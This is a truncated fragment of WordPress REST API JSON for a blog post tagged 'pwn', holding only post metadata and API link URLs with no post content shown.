[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[14,38],"class_list":["post-1312","post","type-post","status-publish","format-standard","hentry","category-13","tag-pwn","tag-38"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=1312"}],"version-history":[{"count":21,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1312\/revisions"}],"predecessor-version":[{"id":1366,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/1312\/revisions\/1366"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=1312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=1312"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=1312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}